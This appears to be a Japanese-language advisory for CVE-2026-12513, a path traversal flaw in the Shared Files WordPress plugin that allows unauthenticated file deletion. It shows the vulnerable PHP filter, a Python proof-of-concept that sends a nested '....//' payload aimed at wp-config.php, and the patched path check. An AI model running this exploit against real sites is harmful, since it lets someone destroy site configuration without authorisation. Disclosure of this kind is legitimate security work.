// Shared Files < 1.7.68 における安全でない単一パスサニタイズフィルタ
$file_path = str_replace( '../', '', $_POST['file_path'] );

// 脆弱な削除ロジック
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // 対象ファイル（例：/var/www/html/wp-config.php）の削除をトリガー
}

#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 認証なしパストラバーサルファイル削除 PoC
著者: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] 監査対象: {target_url}")
    
    # 単一パス str_replace('../', '', $input) をバイパスするネストされたトラバーサルシーケンス
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
    
    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }
    
    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] 送信レスポンスステータス: {response.status_code}")
        if response.status_code == 200:
            print("[+] トラバーサルパスがデータベースストレージに正常に注入されました。")
            print("[!] エントリが管理者によって削除されると、対象ファイルが unlink されます。")
            return True
        else:
            print(f"[-] リクエストが HTTP ステータス {response.status_code} で失敗しました。")
    except requests.RequestException as e:
        print(f"[-] 接続に失敗しました: {e}")
        
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)

// 安全なパス検証パターン（バージョン 1.7.68+）
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // 解決された realpath が指定されたベースディレクトリで厳密に始まることを確認
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( '無効または不正なファイルパスです。', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}

{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
  "identifier": "CVE-2026-12513"
}